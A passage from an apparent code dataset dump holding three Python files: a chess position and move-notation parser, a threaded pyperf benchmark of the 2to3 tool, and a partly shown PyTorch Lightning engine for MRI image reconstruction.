ROOK = 'R'\n BISHOP = 'B'\n KNIGHT = 'N'\n PAWN = 'P'\n\n\nclass Color(Enum):\n WHITE = 'w'\n BLACK = 'b'\n\n\nclass Position:\n def __init__(self, fen=None):\n if fen is None:\n fen = 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1'\n\n self._board_array = self.board_array_from_fen_pieces(fen.split(' ')[0])\n\n fen_color = fen.split(' ')[1]\n try:\n self._active_color = {'w': Color.WHITE, 'b': Color.BLACK}[fen_color]\n except KeyError:\n raise KeyError('Unexpected active color {}'.format(fen_color))\n\n self._castling_availability, self._en_passant_target = fen.split(' ')[2:4]\n self._halfmove_clock = int(fen.split(' ')[4])\n self._fullmove_number = int(fen.split(' ')[5])\n\n def __repr__(self):\n return '{}({})'.format(self.__class__.__name__, repr(self.fen()))\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) and other.fen() == self.fen()\n\n @staticmethod\n def board_array_from_fen_pieces(fen_pieces):\n \"\"\"\n According to '1. Piece placement' in\n https://en.wikipedia.org/w/index.php?title=Forsyth%E2%80%93Edwards_Notation&oldid=707127024#Definition\n \"\"\"\n fen_ranks = fen_pieces.split('/')\n\n position = []\n for fr in fen_ranks:\n rank = []\n for square in fr:\n if square.isdigit():\n rank.extend('.' * int(square))\n else:\n rank.append(square)\n position.append(tuple(rank))\n\n return tuple(position)\n\n @staticmethod\n def fen_pieces_from_board_array(board_array):\n fen_pieces = ''\n for rank in board_array:\n empties = 0\n for square in rank:\n if square == '.':\n empties += 1\n else:\n if empties >= 1:\n fen_pieces += str(empties)\n empties = 0\n fen_pieces += square\n if empties > 0:\n fen_pieces += str(empties)\n fen_pieces += '/'\n fen_pieces = fen_pieces[:-1]\n return fen_pieces\n\n def basic_board(self):\n \"\"\"Human-readable basic visualization of the board at this position\"\"\"\n return '\\n'.join(''.join(piece for piece in rank) for rank in self._board_array)\n\n def fen(self):\n \"\"\"Forsyth-Edwards notation string of the position\"\"\"\n return '{} {} {} {} {} {}'.format(self.fen_pieces_from_board_array(self._board_array), self._active_color.value,\n self._castling_availability, self._en_passant_target, self._halfmove_clock,\n self._fullmove_number)\n\n def move(self, move_str):\n new_en_passant_target = None\n reset_halfmove_clock = False\n remove_castling_availability = None\n\n parsed = parse_move(move_str)\n\n if parsed['castle'] is not None:\n raise NotImplementedError('castling not implemented')\n if parsed['promote'] is not None:\n raise NotImplementedError('promotion not implemented')\n\n piece = Piece(parsed['piece'])\n target = parsed['target']\n targ_x, targ_y = self.square_str_to_xy(target)\n\n # origin coordinates can be None, or they can be specified in move string\n orig_x = orig_y = None\n if parsed['orig_file'] is not None:\n orig_x = list('abcdefgh').index(parsed['orig_file'])\n if parsed['orig_rank'] is not None:\n orig_y = list('87654321').index(parsed['orig_rank'])\n\n if parsed['capture']:\n raise NotImplementedError('captures not implemented')\n else:\n if not self._empty_xy(targ_x, targ_y):\n raise Exception('Illegal move: target occupied')\n\n possible_origins = set(self.pieces_that_can_move_here(target=target, piece=piece, color=self._active_color))\n\n # if origin rank/file was specified, discard possible origins that do not match\n if orig_x:\n for po in possible_origins:\n if self.square_str_to_xy(po)[0] != orig_x:\n possible_origins.remove(po)\n if orig_y:\n for po in possible_origins:\n if self.square_str_to_xy(po)[1] != orig_y:\n possible_origins.remove(po)\n\n # if we have an unambiguous origin at this point, we're good\n if len(possible_origins) == 0:\n raise Exception('Illegal move: no possible origins')\n elif len(possible_origins) > 1:\n raise Exception('Illegal move: ambiguous origin')\n else:\n orig_x, orig_y = self.square_str_to_xy(possible_origins.pop())\n\n if piece == Piece.PAWN:\n # set en-passant targets if pawn moved 2\n if orig_y == 6 and targ_y == 4 and self._active_color == Color.WHITE:\n new_en_passant_target = self.square_xy_to_str(orig_x, orig_y - 1)\n if orig_y == 1 and targ_y == 3 and self._active_color == Color.BLACK:\n new_en_passant_target = self.square_xy_to_str(orig_x, orig_y + 1)\n # all pawn moves reset halfmove clock\n reset_halfmove_clock = True\n # promotion\n if targ_y in (0, 7) and parsed['promote'] is None:\n # TODO implement promotion when it's actually specified\n raise Exception('Illegal move: must promote upon advancing to final rank')\n\n # create new position\n\n new_board = [list(x) for x in self._board_array]\n # move piece\n new_board[orig_y][orig_x] = '.'\n new_board[targ_y][targ_x] = piece.value.upper() if self._active_color == Color.WHITE else piece.value.lower()\n # read pieces to FEN\n new_fen_pieces = self.fen_pieces_from_board_array(new_board)\n # switch color\n new_active_color = 'b' if self._active_color == Color.WHITE else 'w'\n # clear en passant if we didn't create new target\n new_en_passant_target = new_en_passant_target or '-'\n # increment numbers\n new_halfmove_clock = 0 if reset_halfmove_clock else self._halfmove_clock + 1\n new_fullmove_number = self._fullmove_number if self._active_color == Color.WHITE else self._fullmove_number + 1\n\n if not remove_castling_availability:\n new_castling_availability = self._castling_availability\n else:\n raise NotImplementedError('Yet to figure out how castling is invalidated')\n\n # construct new FEN and create Position\n new_fen = '{} {} {} {} {} {}'.format(new_fen_pieces, new_active_color, new_castling_availability,\n new_en_passant_target, new_halfmove_clock, new_fullmove_number)\n return Position(fen=new_fen)\n\n @staticmethod\n def square_str_to_xy(square_str):\n \"\"\"\n >>> Position.square_str_to_xy('a1')\n (0, 7)\n \"\"\"\n return list('abcdefgh').index(square_str[0]), list('87654321').index(square_str[1])\n\n @staticmethod\n def square_xy_to_str(x, y):\n \"\"\"\n >>> Position.square_xy_to_str(7, 3)\n 'h5'\n \"\"\"\n return 'abcdefgh'[x] + '87654321'[y]\n\n def find_pieces_xy(self, piece: Piece, color: Color) -> FrozenSet[tuple]:\n \"\"\"\n >>> ps = Position().find_pieces_xy(Piece.BISHOP, Color.WHITE)\n >>> ps == {(2, 7), (5, 7)}\n True\n \"\"\"\n char = piece.value.upper() if color == Color.WHITE else piece.value.lower()\n return frozenset((x, y) for x in range(8) for y in range(8) if self._board_array[y][x] == char)\n\n def find_pieces(self, piece: Piece, color: Color) -> FrozenSet[tuple]:\n \"\"\"\n >>> ps = Position().find_pieces(Piece.BISHOP, Color.WHITE)\n >>> ps == {'c1', 'f1'}\n True\n \"\"\"\n return frozenset(self.square_xy_to_str(*xy) for xy in self.find_pieces_xy(piece, color))\n\n def pieces_that_can_move_here(self, piece: Piece, target: str, color: Color) -> FrozenSet[str]:\n \"\"\"Current locations of pieces that can move to target, not taking checks into account.\"\"\"\n origins = set()\n candidate_origins = self.find_pieces(piece, color)\n for co in candidate_origins:\n if target in self.candidate_targets_from(co):\n origins.add(co)\n return frozenset(origins)\n\n def _look_xy(self, x, y) -> str:\n \"\"\"Find character occupying xy\"\"\"\n return self._board_array[y][x]\n\n def _look_sq(self, square_str) -> str:\n \"\"\"Find character occupying square\"\"\"\n return self._look_xy(*self.square_str_to_xy(square_str))\n\n def _empty_xy(self, x, y) -> bool:\n \"\"\"Is xy empty?\"\"\"\n return self._look_xy(x, y) == '.'\n\n @staticmethod\n def _xy_on_board(x, y) -> bool:\n \"\"\"Does xy exist on board?\"\"\"\n return 0 <= x <= 7 and 0 <= y <= 7\n\n def candidate_targets_from(self, origin: str) -> Optional[FrozenSet[str]]:\n \"\"\"\n Return candidate targets for the piece in the given square.\n \"Candidate targets\" meaning squares where the piece could move if we do not take into account checks.\n\n Empty origin square returns None, and a non-empty square with no targets returns an empty frozenset.\n \"\"\"\n char = self._look_sq(origin)\n if char == '.':\n return\n\n piece_type = Piece(char.upper())\n color = Color.WHITE if char.isupper() else Color.BLACK\n\n candidates = set()\n\n x, y = self.square_str_to_xy(origin)\n\n # chains of positions a bishop, rook or queen moves in a single direction\n horizontal_pos = ((d, 0) for d in range(1, 8))\n horizontal_neg = ((-d, 0) for d in range(1, 8))\n vertical_pos = ((0, d) for d in range(1, 8))\n vertical_neg = ((0, -d) for d in range(1, 8))\n diagonal_pos_pos = ((d, d) for d in range(1, 8))\n diagonal_pos_neg = ((d, -d) for d in range(1, 8))\n diagonal_neg_pos = ((-d, d) for d in range(1, 8))\n diagonal_neg_neg = ((-d, -d) for d in range(1, 8))\n\n if piece_type == Piece.PAWN:\n start_y = 6 if color == Color.WHITE else 1\n dy = -1 if color == Color.WHITE else 1\n\n # moves straight ahead\n if self._empty_xy(x, y+dy):\n candidates.add(self.square_xy_to_str(x, y+dy))\n if y == start_y and self._empty_xy(x, y+2*dy): # rank 2\n candidates.add(self.square_xy_to_str(x, y+2*dy))\n\n # capturing moves\n for pxy in ((x-1, y+dy), (x+1, y+dy)):\n if self._xy_on_board(*pxy):\n if self._look_xy(*pxy).islower() and color == Color.WHITE:\n candidates.add(self.square_xy_to_str(*pxy))\n if self._look_xy(*pxy).isupper() and color == Color.BLACK:\n candidates.add(self.square_xy_to_str(*pxy))\n\n if self._en_passant_target != '-' and pxy == self.square_str_to_xy(self._en_passant_target):\n candidates.add(self._en_passant_target)\n\n elif piece_type == Piece.KNIGHT:\n possible_xys = (\n (x+1, y+2), (x+1, y-2),\n (x+2, y+1), (x+2, y-1),\n (x-1, y+2), (x-1, y-2),\n (x-2, y+1), (x-2, y-1)\n )\n for pxy in possible_xys:\n if not self._xy_on_board(*pxy):\n continue\n if self._empty_xy(*pxy):\n candidates.add(self.square_xy_to_str(*pxy))\n # capturing moves\n elif (self._look_xy(*pxy).islower() and color == Color.WHITE) \\\n or (self._look_xy(*pxy).isupper() and color == Color.BLACK):\n candidates.add(self.square_xy_to_str(*pxy))\n\n elif piece_type == Piece.BISHOP:\n for direction_displacement_seq in diagonal_pos_pos, diagonal_pos_neg, diagonal_neg_pos, diagonal_neg_neg:\n for dx, dy in direction_displacement_seq:\n pxy = x+dx, y+dy\n if not self._xy_on_board(*pxy):\n break\n if self._empty_xy(*pxy):\n candidates.add(self.square_xy_to_str(*pxy))\n else:\n if (self._look_xy(*pxy).islower() and color == Color.WHITE) \\\n or (self._look_xy(*pxy).isupper() and color == Color.BLACK):\n candidates.add(self.square_xy_to_str(*pxy))\n break\n\n elif piece_type == Piece.ROOK:\n for direction_displacement_seq in horizontal_pos, horizontal_neg, vertical_pos, vertical_neg:\n for dx, dy in direction_displacement_seq:\n pxy = x+dx, y+dy\n if not self._xy_on_board(*pxy):\n break\n if self._empty_xy(*pxy):\n candidates.add(self.square_xy_to_str(*pxy))\n else:\n if (self._look_xy(*pxy).islower() and color == Color.WHITE) \\\n or (self._look_xy(*pxy).isupper() and color == Color.BLACK):\n candidates.add(self.square_xy_to_str(*pxy))\n break\n\n elif piece_type == Piece.QUEEN:\n for direction_displacement_seq in horizontal_pos, horizontal_neg, vertical_pos, vertical_neg, \\\n diagonal_pos_pos, diagonal_pos_neg, diagonal_neg_pos, diagonal_neg_neg:\n for dx, dy in direction_displacement_seq:\n pxy = x+dx, y+dy\n if not self._xy_on_board(*pxy):\n break\n if self._empty_xy(*pxy):\n candidates.add(self.square_xy_to_str(*pxy))\n else:\n if (self._look_xy(*pxy).islower() and color == Color.WHITE) \\\n or (self._look_xy(*pxy).isupper() and color == Color.BLACK):\n candidates.add(self.square_xy_to_str(*pxy))\n break\n\n elif piece_type == Piece.KING:\n displacements = set(product((-1, 0, 1), repeat=2))\n displacements.remove((0, 0))\n for dx, dy in displacements:\n pxy = x+dx, y+dy\n if not self._xy_on_board(*pxy):\n continue\n if self._empty_xy(*pxy):\n candidates.add(self.square_xy_to_str(*pxy))\n # capturing moves\n elif (self._look_xy(*pxy).islower() and color == Color.WHITE) \\\n or (self._look_xy(*pxy).isupper() and color == Color.BLACK):\n candidates.add(self.square_xy_to_str(*pxy))\n\n return frozenset(candidates)\n\n\n# TODO: move most of these doctests elsewhere\ndef parse_move(move_str: str) -> dict:\n \"\"\"\n Given a move in algebraic notation, return a dict describing it.\n\n >>> parse_move('Qe5') == {\n ... 'piece': 'Q', 'target': 'e5',\n ... 'orig_rank': None, 'orig_file': None, 'capture': False, 'castle': None, 'check': False, 'checkmate': False,\n ... 'promote': None\n ... }\n True\n\n >>> parse_move('0-0-0')['castle']\n 'queenside'\n\n >>> parse_move('O-O')['castle']\n 'kingside'\n\n >>> m = parse_move('exd5')\n >>> m['piece'], m['orig_file'], m['capture'], m['target']\n ('P', 'e', True, 'd5')\n\n >>> parse_move('Ze5') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('dxe8=Q+') == {\n ... 'piece': 'P', 'orig_file': 'd', 'capture': True, 'target': 'e8', 'promote': 'Q', 'check': True,\n ... 'orig_rank': None, 'castle': None, 'checkmate': False}\n True\n\n >>> m = parse_move('Be3xd4+')\n >>> m['piece'], m['orig_file'], m['orig_rank'], m['capture'], m['target'], m['check']\n ('B', 'e', '3', True, 'd4', True)\n\n >>> parse_move('e3#')['checkmate']\n True\n\n >>> parse_move('e3+#') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move(('e', '3')) # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n TypeError: ...\n\n >>> parse_move('0-0-0-0') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('exxd4') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('ee6xd4') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('R4xe5') == {'piece': 'R', 'target': 'e5', 'orig_rank': '4', 'capture': True,\n ... 'orig_file': None, 'check': False, 'checkmate': False, 'promote': None, 'castle': None}\n True\n\n >>> parse_move('R4e5') == {'piece': 'R', 'target': 'e5', 'orig_rank': '4',\n ... 'capture': False, 'orig_file': None, 'check': False, 'checkmate': False, 'promote': None, 'castle': None}\n True\n\n >>> parse_move('Rae5')['orig_file']\n 'a'\n\n >>> m = parse_move('Bd4e5')\n >>> m['orig_file'], m['orig_rank']\n ('d', '4')\n\n >>> parse_move('Bd4xe5') == {'piece': 'B', 'orig_rank': '4', 'orig_file': 'd', 'capture': True, 'target': 'e5',\n ... 'castle': None, 'check': False, 'checkmate': False, 'promote': None}\n True\n\n >>> parse_move('Bzxd4') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('e8=Z') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('e3$$$') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('e9') # doctest: +ELLIPSIS\n Traceback (most recent call last):\n ...\n ValueError: ...\n\n >>> parse_move('dxe8=Q') == {'piece': 'P', 'orig_file': 'd', 'capture': True, 'target': 'e8', 'promote': 'Q',\n ... 'orig_rank': None, 'castle': None, 'check': False, 'checkmate': False}\n True\n \"\"\"\n\n d = dict(piece=None, orig_rank=None, orig_file=None, capture=False,\n target=None, castle=None, check=False, checkmate=False, promote=None)\n\n # let's make sure you don't pass lists or something stupid here\n if not isinstance(move_str, str):\n raise TypeError('Expected string')\n\n # castling\n if move_str[0] in 'O0':\n if move_str in ('O-O', '0-0'):\n castle_side = 'kingside'\n elif move_str in ('O-O-O', '0-0-0'):\n castle_side = 'queenside'\n else:\n raise ValueError('Unable to parse this one')\n d['castle'] = castle_side\n return d\n\n # get piece\n if move_str[0] in 'KQRBNP':\n d['piece'] = move_str[0]\n move_str = move_str[1:]\n elif move_str[0] in 'abcdefgh':\n d['piece'] = 'P'\n else:\n raise ValueError('Unable to parse this one')\n\n # captures\n if 'x' in move_str:\n if move_str.count('x') != 1:\n raise ValueError('Unable to parse this one')\n d['capture'] = True\n move_str = move_str.replace('x', '')\n\n # find last 12345678 from string; that should be the target rank\n target_rank_index = None\n for i, c in reversed(tuple(enumerate(move_str))):\n if c in '12345678':\n target_rank_index = i\n break\n if target_rank_index is None:\n raise ValueError('Unable to parse this one')\n d['target'] = move_str[target_rank_index-1:target_rank_index+1]\n\n before_target, after_target = move_str[:target_rank_index-1], move_str[target_rank_index+1:]\n\n # disambiguating origin before target\n if before_target == '':\n pass\n elif len(before_target) == 1:\n if before_target in 'abcdefgh':\n d['orig_file'] = before_target\n elif before_target in '12345678':\n d['orig_rank'] = before_target\n else:\n raise ValueError('Unable to parse this one')\n elif len(before_target) == 2:\n d['orig_file'], d['orig_rank'] = before_target\n else:\n raise ValueError('Unable to parse this one')\n\n # whatever happens after the target square\n if after_target == '':\n pass\n elif after_target[0] in '+#=':\n # promotion\n if after_target[0] == '=':\n if after_target[1] in 'KQRBN':\n d['promote'] = after_target[1]\n else:\n raise ValueError('Unable to parse this one')\n remains = after_target[2:]\n else:\n remains = after_target\n # check/mate\n if remains == '+':\n d['check'] = True\n elif remains == '#':\n d['checkmate'] = True\n elif remains == '':\n pass\n else:\n raise ValueError('Unable to parse this one')\n else:\n raise ValueError('Unable to parse this one')\n\n return d\n","sub_path":"deepes.py","file_name":"deepes.py","file_ext":"py","file_size_in_byte":21148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"615172258","text":"from mpkmemalloc import *\nimport threading\nimport glob\nimport os.path\nimport sys\n\nimport pyperf\n\n# if __name__ == \"__main__\":\ndef functionWorker(tname, allocate_pkey):\n if allocate_pkey:\n pkey_thread_mapper(tname)\n\n runner = pyperf.Runner()\n\n runner.metadata['description'] = \"Performance of the Python 2to3 program\"\n args = runner.parse_args()\n\n datadir = os.path.join(os.path.dirname(__file__), 'data', '2to3')\n pyfiles = glob.glob(os.path.join(datadir, '*.py.txt'))\n\n command = [sys.executable, \"-m\", \"lib2to3\", \"-f\", \"all\"] + pyfiles\n\n runner.bench_command('2to3', command)\n\n del runner\n pymem_reset()\n\ndef dummyFunc(name):\n pass\n\ndef main(params):\n pymem_setup_allocators(0)\n\n workers = len(params) if (len(params)>0) else 1\n\n runner = pyperf.Runner(loops = 1)\n\n runner.argparser.add_argument(\"--cases\")\n\n runner.bench_func(\"Dummy init\", dummyFunc, \"main\")\n\n del runner\n\n threads = []\n for i in range(workers):\n tname = 'Worker' + str(i)\n threads.append(threading.Thread(target=functionWorker, args=[tname,1], name=tname))\n\n for idx, thread in enumerate(threads):\n thread.start()\n thread.join()\n\n result = {}\n for activation in params:\n result[activation] = \"Finished thread execution\"\n\n return(result)\n\n# if __name__ == '__main__':\n# gc.disable()\n# out = main({'activation1':{},'activation3':{},'activation4':{}, 'activation2': {},\n# 'activation31':{},'activation33':{},'activation34':{}, 'activation32': {},\n# 'activation45':{},'activation46':{},'activation47':{}, 'activation48': {}})\n\n# process = psutil.Process(os.getpid())\n# print((process.memory_info().rss)/1024) # in bytes\n","sub_path":"functions/pyperfbenchmark/mt_functions/bm_2to3.py","file_name":"bm_2to3.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20731770","text":"from argparse import ArgumentParser\nimport os\nimport sys\nfrom os.path import join as pjoin\nfrom statistics import median\nfrom typing import Any, List\nimport numpy as np\n\nimport pandas as pd\nimport torch\nimport torchio as tio\nfrom Bridge.WarpDrives.ReconResNet.ReconResNet import ResNet\nfrom Bridge.WarpDrives.ReconResNet.Resnet2Dv2b14 import ResNet as ResNetHHPaper\nfrom Engineering.datasets.tio import create_patchQs, createTIOSubDS\nfrom Engineering.pLoss.perceptual_loss import PerceptualLoss\nfrom Engineering.transforms.tio.augmentations import (\n AdaptiveHistogramEqualization, AdjustGamma, AdjustLog, AdjustSigmoid, getContrastAugs)\nfrom Engineering.transforms.tio.transforms import (ForceAffine, IntensityNorm,\n RandomMotionGhostingV2, getDataSpaceTransforms)\nfrom Engineering.utilities import CustomInitialiseWeights, DataHandler, DataSpaceHandler, ResSaver, getSSIM, log_images\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom pytorch_ssim import SSIM\nfrom pytorch_msssim import MS_SSIM\nfrom torch import nn\nfrom torch.utils.data.dataloader import DataLoader\nfrom Engineering.data_consistency import DataConsistency\nimport scipy.io as sio\n\nclass ReconEngine(LightningModule):\n def __init__(self, **kwargs):\n super().__init__()\n self.save_hyperparameters()\n\n device = torch.device(\n \"cuda:0\" if torch.cuda.is_available() and self.hparams.cuda else \"cpu\")\n\n if self.hparams.modelID == 0:\n self.net = ResNet(in_channels=self.hparams.in_channels, out_channels=self.hparams.out_channels, res_blocks=self.hparams.model_res_blocks,\n starting_nfeatures=self.hparams.model_starting_nfeatures, updown_blocks=self.hparams.model_updown_blocks,\n is_relu_leaky=self.hparams.model_relu_leaky, do_batchnorm=self.hparams.model_do_batchnorm,\n res_drop_prob=self.hparams.model_drop_prob, is_replicatepad=1, out_act=\"sigmoid\", forwardV=self.hparams.model_forwardV,\n upinterp_algo=self.hparams.model_upinterp_algo, post_interp_convtrans=self.hparams.model_post_interp_convtrans, is3D=self.hparams.is3D) # TODO think of 2D\n # self.net = nn.Conv3d(in_channels=1, out_channels=1, kernel_size=3, stride=1, padding=1)\n elif self.hparams.modelID == 1:\n self.net = ResNetHHPaper()\n self.net.apply(CustomInitialiseWeights)\n else:\n # TODO: other models\n sys.exit(\"Only ResNet has been implemented so far in ReconEngine\")\n\n if bool(self.hparams.preweights_path):\n print(\"Pre-weights found, loding...\")\n chk = torch.load(self.hparams.preweights_path, map_location='cpu')\n self.net.load_state_dict(chk['state_dict'])\n\n if self.hparams.lossID == 0:\n if self.hparams.in_channels != 1 or self.hparams.out_channels != 1:\n sys.exit(\n \"Perceptual Loss used here only works for 1 channel input and output\")\n self.loss = PerceptualLoss(device=device, loss_model=\"unet3Dds\", resize=None,\n loss_type=self.hparams.ploss_type, n_level=self.hparams.ploss_level) # TODO thinkof 2D\n elif self.hparams.lossID == 1:\n self.loss = nn.L1Loss(reduction='mean')\n elif self.hparams.lossID == 2:\n self.loss = MS_SSIM(channel=self.hparams.out_channels).to(device)\n elif self.hparams.lossID == 3:\n self.loss = SSIM(channel=self.hparams.out_channels).to(device)\n else:\n sys.exit(\"Invalid Loss ID\")\n\n self.dataspace = DataSpaceHandler(**self.hparams)\n\n # TODO parameterised everything\n self.init_transforms = []\n self.aug_transforms = []\n self.transforms = []\n if self.hparams.cannonicalResample:\n self.init_transforms += [tio.ToCanonical(), tio.Resample('gt')]\n if self.hparams.forceNormAffine:\n self.init_transforms += [ForceAffine()]\n self.init_transforms += [IntensityNorm()]\n # dataspace_transforms = self.dataspace.getTransforms() #TODO: dataspace transforms are not in use\n # self.init_transforms += dataspace_transforms\n if self.hparams.contrast_augment:\n self.aug_transforms += [getContrastAugs()]\n if self.hparams.taskID == 1 and not bool(self.hparams.train_path_inp): #if the task if MoCo and pre-corrupted vols are not supplied\n motion_params = {k.split('motion_')[1]: v for k, v in self.hparams.items() if k.startswith('motion')}\n self.transforms += [RandomMotionGhostingV2(**motion_params), IntensityNorm()] \n\n self.static_metamat = sio.loadmat(self.hparams.static_metamat_file) if bool(self.hparams.static_metamat_file) else None\n if self.hparams.taskID == 0 and self.hparams.use_datacon:\n self.datacon = DataConsistency(isRadial=self.hparams.is_radial, metadict=self.static_metamat)\n else:\n self.datacon = None\n\n input_shape = self.hparams.input_shape if self.hparams.is3D else self.hparams.input_shape[:-1]\n self.example_input_array = torch.empty(\n self.hparams.batch_size, self.hparams.in_channels, *input_shape).float()\n self.saver = ResSaver(\n self.hparams.res_path, save_inp=self.hparams.save_inp, do_norm=self.hparams.do_savenorm)\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(\n self.parameters(),\n lr=self.hparams.lr,\n )\n optim_dict = {\n 'optimizer': optimizer,\n 'monitor': 'val_loss',\n }\n if self.hparams.lr_decay_type: #If this is not zero\n optim_dict[\"lr_scheduler\"] = {\n \"scheduler\": self.hparams.lrScheduler_func(optimizer, **self.hparams.lrScheduler_param_dict),\n 'monitor': 'val_loss',\n }\n return optim_dict\n\n def forward(self, x):\n return self.net(x)\n\n def slice_squeeze(self, x):\n return x if self.hparams.is3D else x.squeeze(-1)\n\n def shared_step(self, batch):\n prediction = self(self.slice_squeeze(batch['inp']['data']))\n loss = self.loss(prediction, self.slice_squeeze(batch['gt']['data']))\n if self.hparams.IsNegLoss:\n loss = -loss\n return prediction, loss\n\n def training_step(self, batch, batch_idx):\n prediction, loss = self.shared_step(batch)\n self.log(\"running_loss\", loss)\n self.img_logger(\"train\", batch_idx, self.slice_squeeze(batch['inp']['data']), prediction, self.slice_squeeze(batch['gt']['data']))\n return loss\n def validation_step(self, batch, batch_idx):\n prediction, loss = self.shared_step(batch)\n ssim = getSSIM(self.slice_squeeze(batch['gt']['data']).cpu().numpy(),\n prediction.detach().cpu().numpy(), data_range=1)\n self.img_logger(\"val\", batch_idx, self.slice_squeeze(batch['inp']['data']), prediction, self.slice_squeeze(batch['gt']['data']))\n return {'val_loss': loss, 'val_ssim': ssim}\n\n def test_step(self, *args):\n prediction, loss = self.shared_step(args[0])\n if not self.hparams.is3D:\n prediction = prediction.unsqueeze(-1)\n if bool(self.hparams.patch_size):\n self.out_aggregators[args[0]['filename'][0]].add_batch(\n prediction.detach().cpu(), args[0][tio.LOCATION])\n else:\n self.out_aggregators[args[0]['filename'][0]] = prediction.detach().cpu()\n return {'test_loss': loss}\n\n def training_epoch_end(self, outputs: List[Any]) -> None:\n avg_loss = torch.stack([x['loss'] for x in outputs]).median()\n self.log('training_loss', avg_loss)\n\n def validation_epoch_end(self, outputs: List[Any]) -> None:\n avg_loss = torch.stack([x['val_loss'] for x in outputs]).median()\n avg_ssim = np.median(np.stack([x['val_ssim'] for x in outputs]))\n self.log('val_loss', avg_loss)\n self.log('val_ssim', avg_ssim)\n\n def test_epoch_end(self, outputs: List[Any]) -> None:\n if isinstance(outputs, list) and isinstance(outputs[0], list): #If multiple vols supplied during patch-based testing, outputs will be list of list, otherwise a list of dicts\n outputs = sum(outputs, [])\n avg_loss = torch.stack([x['test_loss'] for x in outputs]).median()\n self.log('test_loss', avg_loss)\n filenames = self.out_aggregators.keys()\n test_metrics = []\n test_ssim = []\n for filename in filenames:\n if bool(self.hparams.patch_size):\n out = self.out_aggregators[filename].get_output_tensor().squeeze()\n sub = self.grid_samplers[filename].subject\n else:\n out = self.out_aggregators[filename].squeeze()\n sub = self.test_subjectds[self.test_filenames.index(filename)]\n assert sub['filename'] == filename, \"The filename of the test subject doesn't match with the fetched test subject (Index issue!)\"\n inp = sub['inp']['data'].squeeze()\n gt = sub['gt']['data'].squeeze()\n if isinstance(out, torch.HalfTensor):\n out = out.float() #TODO: find a better way to do this. This might not be a good way\n dHandler = DataHandler(dataspace_op=self.dataspace, inp=inp, gt=gt, out=out)\n dHandler.setInpK(sub['inpK']['data'].squeeze() if \"inpK\" in sub else None)\n dHandler.setGTK(sub['gtK']['data'].squeeze() if \"gtK\" in sub else None)\n metrics = self.saver.CalcNSave(dHandler, filename.split(\".\")[0], datacon_operator=self.datacon)\n if metrics is not None:\n metrics['file'] = filename\n test_metrics.append(metrics)\n test_ssim.append(round(metrics['SSIMOut'], 4))\n self.log(\"running_test_ssim\", test_ssim[-1])\n if len(test_metrics) > 0:\n self.log(\"test_ssim\", median(test_ssim))\n df = pd.DataFrame.from_dict(test_metrics)\n df.to_csv(pjoin(self.hparams.save_path, self.hparams.run_name,\n 'Results.csv'), index=False)\n\n def create_dataset(self, split: str) -> tio.SubjectsDataset:\n if split == \"train\":\n path_gt = self.hparams.train_path_gt\n path_inp = self.hparams.train_path_inp\n filename_filter = self.hparams.train_filename_filter\n elif split == \"val\":\n path_gt = self.hparams.val_path_gt\n path_inp = self.hparams.val_path_inp\n filename_filter = self.hparams.val_filename_filter\n elif split == \"test\":\n path_gt = self.hparams.test_path_gt\n path_inp = self.hparams.test_path_inp\n filename_filter = self.hparams.test_filename_filter\n dataset, filenames = createTIOSubDS(root_gt=path_gt, root_input=path_inp, filename_filter=filename_filter, \n split_csv=self.hparams.split_csv, split=split, data_mode=self.hparams.file_type,\n isKSpace=False, isGTNonImg=self.hparams.isGTNonImg, init_transforms=self.init_transforms,\n aug_transforms=self.aug_transforms if split != \"test\" else None, transforms=self.transforms) # TODO: need to implement for kSpace\n if bool(self.hparams.patch_size):\n if split == \"train\":\n dataset, _, _ = create_patchQs(\n train_subs=dataset, val_subs=None, patch_size=self.hparams.patch_size,\n patch_qlen=self.hparams.patch_qlen, patch_per_vol=self.hparams.patch_per_vol,\n inference_strides=self.hparams.patch_inference_strides)\n elif split == \"val\":\n _, dataset, _ = create_patchQs(\n train_subs=None, val_subs=dataset, patch_size=self.hparams.patch_size,\n patch_qlen=self.hparams.patch_qlen, patch_per_vol=self.hparams.patch_per_vol,\n inference_strides=self.hparams.patch_inference_strides)\n elif split == \"test\":\n _, _, dataset = create_patchQs(\n train_subs=None, val_subs=dataset, patch_size=self.hparams.patch_size,\n patch_qlen=self.hparams.patch_qlen, patch_per_vol=self.hparams.patch_per_vol,\n inference_strides=self.hparams.patch_inference_strides)\n if split == \"test\":\n return dataset, filenames\n else:\n return dataset\n\n def train_dataloader(self) -> DataLoader:\n return DataLoader(self.create_dataset(split=\"train\"),\n shuffle=True,\n batch_size=self.hparams.batch_size,\n pin_memory=True, num_workers=self.hparams.num_workers)\n\n def val_dataloader(self) -> DataLoader:\n return DataLoader(self.create_dataset(split=\"val\"),\n shuffle=False,\n batch_size=self.hparams.batch_size,\n pin_memory=True, num_workers=self.hparams.num_workers)\n\n def test_dataloader(self) -> DataLoader:\n ds, filenames = self.create_dataset(split=\"test\")\n if bool(self.hparams.patch_size):\n self.grid_samplers = {}\n else: # If its not patch-based, then it will only return one subject dataset instead of a list of grid_samplers\n self.test_subjectds = ds\n ds = [ds]\n test_loaders = []\n self.out_aggregators = {}\n self.test_filenames = filenames\n for grid_sampler in ds:\n test_loaders.append(DataLoader(grid_sampler,\n shuffle=False,\n 